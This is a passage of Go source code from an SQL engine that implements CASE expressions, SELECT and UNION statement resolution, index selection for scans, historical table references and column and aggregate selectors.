v.Compare(searchValue)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif res == 0 {\n\t\t\treturn wt.then.reduce(tx, row, implicitTable)\n\t\t}\n\t}\n\n\tif ce.elseExp == nil {\n\t\treturn NewNull(AnyType), nil\n\t}\n\treturn ce.elseExp.reduce(tx, row, implicitTable)\n}\n\nfunc (ce *CaseWhenExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\twhenThen := make([]whenThenClause, len(ce.whenThen))\n\tfor i, wt := range ce.whenThen {\n\t\twhenValue := wt.when.reduceSelectors(row, implicitTable)\n\t\twhenThen[i].when = whenValue\n\n\t\tthenValue := wt.then.reduceSelectors(row, implicitTable)\n\t\twhenThen[i].then = thenValue\n\t}\n\n\tif ce.elseExp == nil {\n\t\treturn &CaseWhenExp{\n\t\t\twhenThen: whenThen,\n\t\t}\n\t}\n\n\treturn &CaseWhenExp{\n\t\twhenThen: whenThen,\n\t\telseExp:  ce.elseExp.reduceSelectors(row, implicitTable),\n\t}\n}\n\nfunc (ce *CaseWhenExp) isConstant() bool {\n\treturn false\n}\n\nfunc (ce *CaseWhenExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (ce *CaseWhenExp) String() string {\n\tvar sb strings.Builder\n\tfor _, wh := range ce.whenThen {\n\t\tsb.WriteString(fmt.Sprintf(\"WHEN %s THEN %s \", wh.when.String(), wh.then.String()))\n\t}\n\n\tif ce.elseExp != nil {\n\t\tsb.WriteString(\"ELSE \" + ce.elseExp.String() + \" \")\n\t}\n\treturn \"CASE \" + sb.String() + \"END\"\n}\n\ntype Comparison int\n\nconst (\n\tEqualTo Comparison = iota\n\tLowerThan\n\tLowerOrEqualTo\n\tGreaterThan\n\tGreaterOrEqualTo\n)\n\ntype DataSource interface {\n\tSQLStmt\n\tResolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error)\n\tAlias() string\n}\n\ntype TargetEntry struct {\n\tExp ValueExp\n\tAs  string\n}\n\ntype SelectStmt struct {\n\tdistinct  bool\n\ttargets   []TargetEntry\n\tselectors []Selector\n\tds        DataSource\n\tindexOn   []string\n\tjoins     []*JoinSpec\n\twhere     ValueExp\n\tgroupBy   []*ColSelector\n\thaving    ValueExp\n\torderBy   []*OrdExp\n\tlimit     ValueExp\n\toffset    ValueExp\n\tas        string\n}\n\nfunc NewSelectStmt(\n\ttargets []TargetEntry,\n\tds DataSource,\n\twhere ValueExp,\n\torderBy []*OrdExp,\n\tlimit ValueExp,\n\toffset ValueExp,\n) *SelectStmt {\n\treturn &SelectStmt{\n\t\ttargets: targets,\n\t\tds:      ds,\n\t\twhere:   where,\n\t\torderBy: orderBy,\n\t\tlimit:   limit,\n\t\toffset:  offset,\n\t}\n}\n\nfunc (stmt *SelectStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *SelectStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeSelect}\n}\n\nfunc (stmt *SelectStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\t_, err := stmt.execAt(ctx, tx, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// TODO: (jeroiraz) may be optimized so to resolve the query statement just once\n\trowReader, err := stmt.Resolve(ctx, tx, nil, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rowReader.Close()\n\n\treturn rowReader.InferParameters(ctx, params)\n}\n\nfunc (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif stmt.groupBy == nil && stmt.having != nil {\n\t\treturn nil, ErrHavingClauseRequiresGroupClause\n\t}\n\n\tif stmt.containsAggregations() || len(stmt.groupBy) > 0 {\n\t\tfor _, sel := range stmt.targetSelectors() {\n\t\t\t_, isAgg := sel.(*AggColSelector)\n\t\t\tif !isAgg && !stmt.groupByContains(sel) {\n\t\t\t\treturn nil, fmt.Errorf(\"%s: %w\", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(stmt.orderBy) > 0 {\n\t\tfor _, col := range stmt.orderBy {\n\t\t\tfor _, sel := range col.exp.selectors() {\n\t\t\t\t_, isAgg := sel.(*AggColSelector)\n\t\t\t\tif (isAgg && !stmt.selectorAppearsInTargets(sel)) || (!isAgg && len(stmt.groupBy) > 0 && !stmt.groupByContains(sel)) {\n\t\t\t\t\treturn nil, fmt.Errorf(\"%s: %w\", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn tx, nil\n}\n\nfunc (stmt *SelectStmt) targetSelectors() []Selector {\n\tif stmt.selectors == nil {\n\t\tstmt.selectors = stmt.extractSelectors()\n\t}\n\treturn stmt.selectors\n}\n\nfunc (stmt *SelectStmt) selectorAppearsInTargets(s Selector) bool {\n\tencSel := EncodeSelector(s.resolve(stmt.Alias()))\n\n\tfor _, sel := range stmt.targetSelectors() {\n\t\tif EncodeSelector(sel.resolve(stmt.Alias())) == encSel {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (stmt *SelectStmt) groupByContains(sel Selector) bool {\n\tencSel := EncodeSelector(sel.resolve(stmt.Alias()))\n\n\tfor _, colSel := range stmt.groupBy {\n\t\tif EncodeSelector(colSel.resolve(stmt.Alias())) == encSel {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (stmt *SelectStmt) extractGroupByCols() []*AggColSelector {\n\tcols := make([]*AggColSelector, 0, len(stmt.targets))\n\n\tfor _, t := range stmt.targets {\n\t\tselectors := t.Exp.selectors()\n\t\tfor _, sel := range selectors {\n\t\t\taggSel, isAgg := sel.(*AggColSelector)\n\t\t\tif isAgg {\n\t\t\t\tcols = append(cols, aggSel)\n\t\t\t}\n\t\t}\n\t}\n\treturn cols\n}\n\nfunc (stmt *SelectStmt) extractSelectors() []Selector {\n\tselectors := make([]Selector, 0, len(stmt.targets))\n\tfor _, t := range stmt.targets {\n\t\tselectors = append(selectors, t.Exp.selectors()...)\n\t}\n\treturn selectors\n}\n\nfunc (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) {\n\tscanSpecs, err := stmt.genScanSpecs(tx, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trowReader, err := stmt.ds.Resolve(ctx, tx, params, scanSpecs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\trowReader.Close()\n\t\t}\n\t}()\n\n\tif stmt.joins != nil {\n\t\tvar jointRowReader *jointRowReader\n\t\tjointRowReader, err = newJointRowReader(rowReader, stmt.joins)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trowReader = jointRowReader\n\t}\n\n\tif stmt.where != nil {\n\t\trowReader = newConditionalRowReader(rowReader, stmt.where)\n\t}\n\n\tif stmt.containsAggregations() || len(stmt.groupBy) > 0 {\n\t\tif len(scanSpecs.groupBySortExps) > 0 {\n\t\t\tvar sortRowReader *sortRowReader\n\t\t\tsortRowReader, err = newSortRowReader(rowReader, scanSpecs.groupBySortExps)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\trowReader = sortRowReader\n\t\t}\n\n\t\tvar groupedRowReader *groupedRowReader\n\t\tgroupedRowReader, err = newGroupedRowReader(rowReader, allAggregations(stmt.targets), stmt.extractGroupByCols(), stmt.groupBy)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trowReader = groupedRowReader\n\n\t\tif stmt.having != nil {\n\t\t\trowReader = newConditionalRowReader(rowReader, stmt.having)\n\t\t}\n\t}\n\n\tif len(scanSpecs.orderBySortExps) > 0 {\n\t\tvar sortRowReader *sortRowReader\n\t\tsortRowReader, err = newSortRowReader(rowReader, stmt.orderBy)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trowReader = sortRowReader\n\t}\n\n\tprojectedRowReader, err := newProjectedRowReader(ctx, rowReader, stmt.as, stmt.targets)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trowReader = projectedRowReader\n\n\tif stmt.distinct {\n\t\tvar distinctRowReader *distinctRowReader\n\t\tdistinctRowReader, err = newDistinctRowReader(ctx, rowReader)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trowReader = distinctRowReader\n\t}\n\n\tif stmt.offset != nil {\n\t\tvar offset int\n\t\toffset, err = evalExpAsInt(tx, stmt.offset, params)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid offset\", err)\n\t\t}\n\n\t\trowReader = newOffsetRowReader(rowReader, offset)\n\t}\n\n\tif stmt.limit != nil {\n\t\tvar limit int\n\t\tlimit, err = evalExpAsInt(tx, stmt.limit, params)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid limit\", err)\n\t\t}\n\n\t\tif limit < 0 {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid limit\", ErrIllegalArguments)\n\t\t}\n\n\t\tif limit > 0 {\n\t\t\trowReader = newLimitRowReader(rowReader, limit)\n\t\t}\n\t}\n\treturn rowReader, nil\n}\n\nfunc (stmt *SelectStmt) rearrangeOrdExps(groupByCols, orderByExps []*OrdExp) ([]*OrdExp, []*OrdExp) {\n\tif len(groupByCols) > 0 && len(orderByExps) > 0 && !ordExpsHaveAggregations(orderByExps) {\n\t\tif ordExpsHasPrefix(orderByExps, groupByCols, stmt.Alias()) {\n\t\t\treturn orderByExps, nil\n\t\t}\n\n\t\tif ordExpsHasPrefix(groupByCols, orderByExps, stmt.Alias()) {\n\t\t\tfor i := range orderByExps {\n\t\t\t\tgroupByCols[i].descOrder = orderByExps[i].descOrder\n\t\t\t}\n\t\t\treturn groupByCols, nil\n\t\t}\n\t}\n\treturn groupByCols, orderByExps\n}\n\nfunc ordExpsHasPrefix(cols, prefix []*OrdExp, table string) bool {\n\tif len(prefix) > len(cols) {\n\t\treturn false\n\t}\n\n\tfor i := range prefix {\n\t\tls := prefix[i].AsSelector()\n\t\trs := cols[i].AsSelector()\n\n\t\tif ls == nil || rs == nil {\n\t\t\treturn false\n\t\t}\n\n\t\tif EncodeSelector(ls.resolve(table)) != EncodeSelector(rs.resolve(table)) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (stmt *SelectStmt) groupByOrdExps() []*OrdExp {\n\tgroupByCols := stmt.groupBy\n\n\tordExps := make([]*OrdExp, 0, len(groupByCols))\n\tfor _, col := range groupByCols {\n\t\tordExps = append(ordExps, &OrdExp{exp: col})\n\t}\n\treturn ordExps\n}\n\nfunc ordExpsHaveAggregations(exps []*OrdExp) bool {\n\tfor _, e := range exps {\n\t\tif _, isAgg := e.exp.(*AggColSelector); isAgg {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (stmt *SelectStmt) containsAggregations() bool {\n\tfor _, sel := range stmt.targetSelectors() {\n\t\t_, isAgg := sel.(*AggColSelector)\n\t\tif isAgg {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, error) {\n\toffset, err := exp.substitute(params)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\ttexp, err := offset.reduce(tx, nil, \"\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tconvVal, err := mayApplyImplicitConversion(texp.RawValue(), IntegerType)\n\tif err != nil {\n\t\treturn 0, ErrInvalidValue\n\t}\n\n\tnum, ok := convVal.(int64)\n\tif !ok {\n\t\treturn 0, ErrInvalidValue\n\t}\n\n\tif num > math.MaxInt32 {\n\t\treturn 0, ErrInvalidValue\n\t}\n\n\treturn int(num), nil\n}\n\nfunc (stmt *SelectStmt) Alias() string {\n\tif stmt.as == \"\" {\n\t\treturn stmt.ds.Alias()\n\t}\n\n\treturn stmt.as\n}\n\nfunc (stmt *SelectStmt) hasTxMetadata() bool {\n\tfor _, sel := range stmt.targetSelectors() {\n\t\tswitch s := sel.(type) {\n\t\tcase *ColSelector:\n\t\t\tif s.col == txMetadataCol {\n\t\t\t\treturn true\n\t\t\t}\n\t\tcase *JSONSelector:\n\t\t\tif s.ColSelector.col == txMetadataCol {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) (*ScanSpecs, error) {\n\tgroupByCols, orderByCols := stmt.groupByOrdExps(), stmt.orderBy\n\n\ttableRef, isTableRef := stmt.ds.(*tableRef)\n\tif !isTableRef {\n\t\tgroupByCols, orderByCols = stmt.rearrangeOrdExps(groupByCols, orderByCols)\n\n\t\treturn &ScanSpecs{\n\t\t\tgroupBySortExps: groupByCols,\n\t\t\torderBySortExps: orderByCols,\n\t\t}, nil\n\t}\n\n\ttable, err := tableRef.referencedTable(tx)\n\tif err != nil {\n\t\tif tx.engine.tableResolveFor(tableRef.table) != nil {\n\t\t\treturn &ScanSpecs{\n\t\t\t\tgroupBySortExps: groupByCols,\n\t\t\t\torderBySortExps: orderByCols,\n\t\t\t}, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\n\trangesByColID := make(map[uint32]*typedValueRange)\n\tif stmt.where != nil {\n\t\terr = stmt.where.selectorRanges(table, tableRef.Alias(), params, rangesByColID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tpreferredIndex, err := stmt.getPreferredIndex(table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar sortingIndex *Index\n\tif preferredIndex == nil {\n\t\tsortingIndex = stmt.selectSortingIndex(groupByCols, orderByCols, table, rangesByColID)\n\t} else {\n\t\tsortingIndex = preferredIndex\n\t}\n\n\tif sortingIndex == nil {\n\t\tsortingIndex = table.primaryIndex\n\t}\n\n\tif tableRef.history && !sortingIndex.IsPrimary() {\n\t\treturn nil, fmt.Errorf(\"%w: historical queries are supported over primary index\", ErrIllegalArguments)\n\t}\n\n\tvar descOrder bool\n\tif len(groupByCols) > 0 && sortingIndex.coversOrdCols(groupByCols, rangesByColID) {\n\t\tgroupByCols = nil\n\t}\n\n\tif len(groupByCols) == 0 && len(orderByCols) > 0 && sortingIndex.coversOrdCols(orderByCols, rangesByColID) {\n\t\tdescOrder = orderByCols[0].descOrder\n\t\torderByCols = nil\n\t}\n\n\tgroupByCols, orderByCols = stmt.rearrangeOrdExps(groupByCols, orderByCols)\n\n\treturn &ScanSpecs{\n\t\tIndex:             sortingIndex,\n\t\trangesByColID:     rangesByColID,\n\t\tIncludeHistory:    tableRef.history,\n\t\tIncludeTxMetadata: stmt.hasTxMetadata(),\n\t\tDescOrder:         descOrder,\n\t\tgroupBySortExps:   groupByCols,\n\t\torderBySortExps:   orderByCols,\n\t}, nil\n}\n\nfunc (stmt *SelectStmt) selectSortingIndex(groupByCols, orderByCols []*OrdExp, table *Table, rangesByColId map[uint32]*typedValueRange) *Index {\n\tsortCols := groupByCols\n\tif len(sortCols) == 0 {\n\t\tsortCols = orderByCols\n\t}\n\n\tif len(sortCols) == 0 {\n\t\treturn nil\n\t}\n\n\tfor _, idx := range table.indexes {\n\t\tif idx.coversOrdCols(sortCols, rangesByColId) {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (stmt *SelectStmt) getPreferredIndex(table *Table) (*Index, error) {\n\tif len(stmt.indexOn) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tcols := make([]*Column, len(stmt.indexOn))\n\tfor i, colName := range stmt.indexOn {\n\t\tcol, err := table.GetColumnByName(colName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcols[i] = col\n\t}\n\treturn table.GetIndexByName(indexName(table.name, cols))\n}\n\ntype UnionStmt struct {\n\tdistinct    bool\n\tleft, right DataSource\n}\n\nfunc (stmt *UnionStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *UnionStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeSelect}\n}\n\nfunc (stmt *UnionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\terr := stmt.left.inferParameters(ctx, tx, params)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn stmt.right.inferParameters(ctx, tx, params)\n}\n\nfunc (stmt *UnionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\t_, err := stmt.left.execAt(ctx, tx, params)\n\tif err != nil {\n\t\treturn tx, err\n\t}\n\n\treturn stmt.right.execAt(ctx, tx, params)\n}\n\nfunc (stmt *UnionStmt) resolveUnionAll(ctx context.Context, tx *SQLTx, params map[string]interface{}) (ret RowReader, err error) {\n\tleftRowReader, err := stmt.left.Resolve(ctx, tx, params, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tleftRowReader.Close()\n\t\t}\n\t}()\n\n\trightRowReader, err := stmt.right.Resolve(ctx, tx, params, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\trightRowReader.Close()\n\t\t}\n\t}()\n\n\trowReader, err := newUnionRowReader(ctx, []RowReader{leftRowReader, rightRowReader})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn rowReader, nil\n}\n\nfunc (stmt *UnionStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) {\n\trowReader, err := stmt.resolveUnionAll(ctx, tx, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\trowReader.Close()\n\t\t}\n\t}()\n\n\tif stmt.distinct {\n\t\tdistinctReader, err := newDistinctRowReader(ctx, rowReader)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\trowReader = distinctReader\n\t}\n\n\treturn rowReader, nil\n}\n\nfunc (stmt *UnionStmt) Alias() string {\n\treturn \"\"\n}\n\nfunc NewTableRef(table string, as string) *tableRef {\n\treturn &tableRef{\n\t\ttable: table,\n\t\tas:    as,\n\t}\n}\n\ntype tableRef struct {\n\ttable   string\n\thistory bool\n\tperiod  period\n\tas      string\n}\n\nfunc (ref *tableRef) readOnly() bool {\n\treturn true\n}\n\nfunc (ref *tableRef) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeSelect}\n}\n\ntype period struct {\n\tstart *openPeriod\n\tend   *openPeriod\n}\n\ntype openPeriod struct {\n\tinclusive bool\n\tinstant   periodInstant\n}\n\ntype periodInstant struct {\n\texp         ValueExp\n\tinstantType instantType\n}\n\ntype instantType = int\n\nconst (\n\ttxInstant instantType = iota\n\ttimeInstant\n)\n\nfunc (i periodInstant) resolve(tx *SQLTx, params map[string]interface{}, asc, inclusive bool) (uint64, error) {\n\texp, err := i.exp.substitute(params)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tinstantVal, err := exp.reduce(tx, nil, \"\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif i.instantType == txInstant {\n\t\ttxID, ok := instantVal.RawValue().(int64)\n\t\tif !ok {\n\t\t\treturn 0, fmt.Errorf(\"%w: invalid tx range, tx ID must be a positive integer, %s given\", ErrIllegalArguments, instantVal.Type())\n\t\t}\n\n\t\tif txID <= 0 {\n\t\t\treturn 0, fmt.Errorf(\"%w: invalid tx range, tx ID must be a positive integer, %d given\", ErrIllegalArguments, txID)\n\t\t}\n\n\t\tif inclusive {\n\t\t\treturn uint64(txID), nil\n\t\t}\n\n\t\tif asc {\n\t\t\treturn uint64(txID + 1), nil\n\t\t}\n\n\t\tif txID <= 1 {\n\t\t\treturn 0, fmt.Errorf(\"%w: invalid tx range, tx ID must be greater than 1, %d given\", ErrIllegalArguments, txID)\n\t\t}\n\n\t\treturn uint64(txID - 1), nil\n\t} else {\n\n\t\tvar ts time.Time\n\n\t\tif instantVal.Type() == TimestampType {\n\t\t\tts = instantVal.RawValue().(time.Time)\n\t\t} else {\n\t\t\tconv, err := getConverter(instantVal.Type(), TimestampType)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\ttval, err := conv(instantVal)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\tts = tval.RawValue().(time.Time)\n\t\t}\n\n\t\tsts := ts\n\n\t\tif asc {\n\t\t\tif !inclusive {\n\t\t\t\tsts = sts.Add(1 * time.Second)\n\t\t\t}\n\n\t\t\ttxHdr, err := tx.engine.store.FirstTxSince(sts)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\n\t\t\treturn txHdr.ID, nil\n\t\t}\n\n\t\tif !inclusive {\n\t\t\tsts = sts.Add(-1 * time.Second)\n\t\t}\n\n\t\ttxHdr, err := tx.engine.store.LastTxUntil(sts)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\treturn txHdr.ID, nil\n\t}\n}\n\nfunc (stmt *tableRef) referencedTable(tx *SQLTx) (*Table, error) {\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn table, nil\n}\n\nfunc (stmt *tableRef) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *tableRef) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\treturn tx, nil\n}\n\nfunc (stmt *tableRef) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) {\n\tif tx == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ttable, err := stmt.referencedTable(tx)\n\tif err == nil {\n\t\treturn newRawRowReader(tx, params, table, stmt.period, stmt.as, scanSpecs)\n\t}\n\n\tif resolver := tx.engine.tableResolveFor(stmt.table); resolver != nil {\n\t\treturn resolver.Resolve(ctx, tx, stmt.Alias())\n\t}\n\treturn nil, err\n}\n\nfunc (stmt *tableRef) Alias() string {\n\tif stmt.as == \"\" {\n\t\treturn stmt.table\n\t}\n\treturn stmt.as\n}\n\ntype valuesDataSource struct {\n\tinferTypes bool\n\trows       []*RowSpec\n}\n\nfunc NewValuesDataSource(rows []*RowSpec) *valuesDataSource {\n\treturn &valuesDataSource{\n\t\trows: rows,\n\t}\n}\n\nfunc (ds *valuesDataSource) readOnly() bool {\n\treturn true\n}\n\nfunc (ds *valuesDataSource) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (ds *valuesDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\treturn tx, nil\n}\n\nfunc (ds *valuesDataSource) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (ds *valuesDataSource) Alias() string {\n\treturn \"\"\n}\n\nfunc (ds *valuesDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) {\n\tif tx == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tcols := make([]ColDescriptor, len(ds.rows[0].Values))\n\tfor i := range cols {\n\t\tcols[i] = ColDescriptor{\n\t\t\tType:   AnyType,\n\t\t\tColumn: fmt.Sprintf(\"col%d\", i),\n\t\t}\n\t}\n\n\temptyColsDesc, emptyParams := map[string]ColDescriptor{}, map[string]string{}\n\n\tif ds.inferTypes {\n\t\tfor i := 0; i < len(cols); i++ {\n\t\t\tt := AnyType\n\t\t\tfor j := 0; j < len(ds.rows); j++ {\n\t\t\t\te, err := ds.rows[j].Values[i].substitute(params)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tit, err := e.inferType(emptyColsDesc, emptyParams, \"\")\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tif t == AnyType {\n\t\t\t\t\tt = it\n\t\t\t\t} else if t != it && it != AnyType {\n\t\t\t\t\treturn nil, fmt.Errorf(\"cannot match types %s and %s\", t, it)\n\t\t\t\t}\n\t\t\t}\n\t\t\tcols[i].Type = t\n\t\t}\n\t}\n\n\tvalues := make([][]ValueExp, len(ds.rows))\n\tfor i, rowSpec := range ds.rows {\n\t\tvalues[i] = rowSpec.Values\n\t}\n\treturn NewValuesRowReader(tx, params, cols, ds.inferTypes, \"values\", values)\n}\n\ntype JoinSpec struct {\n\tjoinType JoinType\n\tds       DataSource\n\tcond     ValueExp\n\tindexOn  []string\n}\n\ntype OrdExp struct {\n\texp       ValueExp\n\tdescOrder bool\n}\n\nfunc (oc *OrdExp) AsSelector() Selector {\n\tsel, ok := oc.exp.(Selector)\n\tif ok {\n\t\treturn sel\n\t}\n\treturn nil\n}\n\nfunc NewOrdCol(table string, col string, descOrder bool) *OrdExp {\n\treturn &OrdExp{\n\t\texp:       NewColSelector(table, col),\n\t\tdescOrder: descOrder,\n\t}\n}\n\ntype Selector interface {\n\tValueExp\n\tresolve(implicitTable string) (aggFn, table, col string)\n}\n\ntype ColSelector struct {\n\ttable string\n\tcol   string\n}\n\nfunc NewColSelector(table, col string) *ColSelector {\n\treturn &ColSelector{\n\t\ttable: table,\n\t\tcol:   col,\n\t}\n}\n\nfunc (sel *ColSelector) resolve(implicitTable string) (aggFn, table, col string) {\n\ttable = implicitTable\n\tif sel.table != \"\" {\n\t\ttable = sel.table\n\t}\n\treturn \"\", table, sel.col\n}\n\nfunc (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\t_, table, col := sel.resolve(implicitTable)\n\tencSel := EncodeSelector(\"\", table, col)\n\n\tdesc, ok := cols[encSel]\n\tif !ok {\n\t\treturn AnyType, fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, col)\n\t}\n\treturn desc.Type, nil\n}\n\nfunc (sel *ColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\t_, table, col := sel.resolve(implicitTable)\n\tencSel := EncodeSelector(\"\", table, col)\n\n\tdesc, ok := cols[encSel]\n\tif !ok {\n\t\treturn fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, col)\n\t}\n\n\tif desc.Type != t {\n\t\treturn fmt.Errorf(\"%w: %v(%s) can not be interpreted as type %v\", ErrInvalidTypes, desc.Type, encSel, t)\n\t}\n\n\treturn nil\n}\n\nfunc (sel *ColSelector) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn sel, nil\n}\n\nfunc (sel *ColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\tif row == nil {\n\t\treturn nil, fmt.Errorf(\"%w: no row to evaluate in current context\", ErrInvalidValue)\n\t}\n\n\taggFn, table, col := sel.resolve(implicitTable)\n\n\tv, ok := row.ValuesBySelector[EncodeSelector(aggFn, table, col)]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, col)\n\t}\n\treturn v, nil\n}\n\nfunc (sel *ColSelector) selectors() []Selector {\n\treturn []Selector{sel}\n}\n\nfunc (sel *ColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\taggFn, table, col := sel.resolve(implicitTable)\n\n\tv, ok := row.ValuesBySelector[EncodeSelector(aggFn, table, col)]\n\tif !ok {\n\t\treturn sel\n\t}\n\n\treturn v\n}\n\nfunc (sel *ColSelector) isConstant() bool {\n\treturn false\n}\n\nfunc (sel *ColSelector) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (sel *ColSelector) String() string {\n\treturn sel.col\n}\n\ntype AggColSelector struct {\n\taggFn AggregateFn\n\ttable string\n\tcol   string\n}\n\nfunc NewAggColSelector(aggFn AggregateFn, table, col string) *AggColSelector {\n\treturn &AggColSelector{\n\t\taggFn: aggFn,\n\t\ttable: table,\n\t\tcol:   col,\n\t}\n}\n\nfunc EncodeSelector(aggFn, table, col string) string {\n\treturn aggFn + \"(\" + table + \".\" + col + \")\"\n}\n\nfunc (sel *AggColSelector) resolve(implicitTable string) (aggFn, table, col string) {\n\ttable = implicitTable\n\tif sel.table != \"\" {\n\t\ttable = sel.table\n\t}\n\treturn sel.aggFn, table, sel.col\n}\n\nfunc (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tif sel.aggFn == COUNT {\n\t\treturn IntegerType, nil\n\t}\n\n\tcolSelector := &ColSelector{table: sel.table, col: sel.col}\n\n\tif sel.aggFn == SUM || sel.aggFn == AVG {\n\t\tt, err := colSelector.inferType(cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn AnyType, err\n\t\t}\n\n\t\tif t != IntegerType && t != Float64Type {\n\t\t\treturn AnyType, fmt.Errorf(\"%w: %v or %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, Float64Type, t)\n\n\t\t}\n\n\t\treturn t, nil\n\t}\n\n\treturn colSelector.inferType(cols, params, implicitTable)\n}\n\nfunc (sel 